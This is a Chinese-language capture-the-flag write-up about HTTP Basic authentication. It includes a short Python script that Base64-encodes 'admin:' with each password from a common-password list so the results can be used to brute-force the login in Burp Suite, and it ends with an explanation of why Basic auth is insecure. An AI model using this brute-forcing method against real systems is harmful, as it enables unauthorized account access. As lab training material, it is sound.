打開靶機環境
下載附件后發現是常用密碼字典,於是考慮本題可能是考察密碼爆破
打開環境
發現需要認證,於是考慮使用暴力破解
使用burpsuite抓包,查看
發現最下面一行有加密后的密文
使用base64解碼
發現是剛剛輸入用於驗證的賬號密碼
於是使用腳本把密碼進行加密
附上腳本
#! /usr/bin/env python3 # _*_ coding:utf-8 _*_ import base64 # 字典文件路徑 dic_file_path = './10_million_password_list_top_100.txt' with open(dic_file_path, 'r') as f: password_dic = f.readlines() username = 'admin:' # 用戶名 for password in password_dic: str1=str.encode(username + password.strip()) encodestr = base64.b64encode(str1) encodestr=str(encodestr) encodestr=encodestr.strip('b\'') encodestr=encodestr.replace("=","\=") #避免“=”被轉譯 print(encodestr)
運行后輸出加密后的密文
使用密文進行爆破
設置爆破的位置
導入密碼字典
開始爆破
成功拿到正確密碼(密碼是隨機的,需要自己爆破)
解密
輸入驗證
驗證成功拿到flag
基礎認證是什么?
1 在HTTP中,基本認證(英語:Basic access authentication)是允許http用戶代理(如:網頁瀏覽器)在請求時,提供用戶名和密碼的一種方式。
具體如下(認證模型)
認證的四個步驟:
1 請求: 客戶端發起一條請求;第一條請求沒有認證消息; 2 質詢: 服務器對客戶端進行質詢;返回一條401 Unauthorized響應,並在www-Authenticate首部說明如何以及在哪里進行認證;一般指定對哪個安全域進行認證; 3 授權:客戶端收到401質詢,彈出對話框,詢問用戶名和密碼,用戶輸入用戶名和密碼后,客戶端會用一個冒號將其連接起來,編碼成“經過擾碼的”Base-64表示形式,然后將其放在Authorization首部中回送; 4 成功: 服務器對用戶名和密碼進行解碼,驗證它們的正確性,然后用一條HTTP 200 OK報文返回所請求的報文;
基本認證的安全缺陷:
1 這個基礎認證並不安全,因為每次傳輸都會帶上認證信息,並且是明文的(BASE64是編碼,不是加密),因此密碼等信息可能會被嗅探器發現。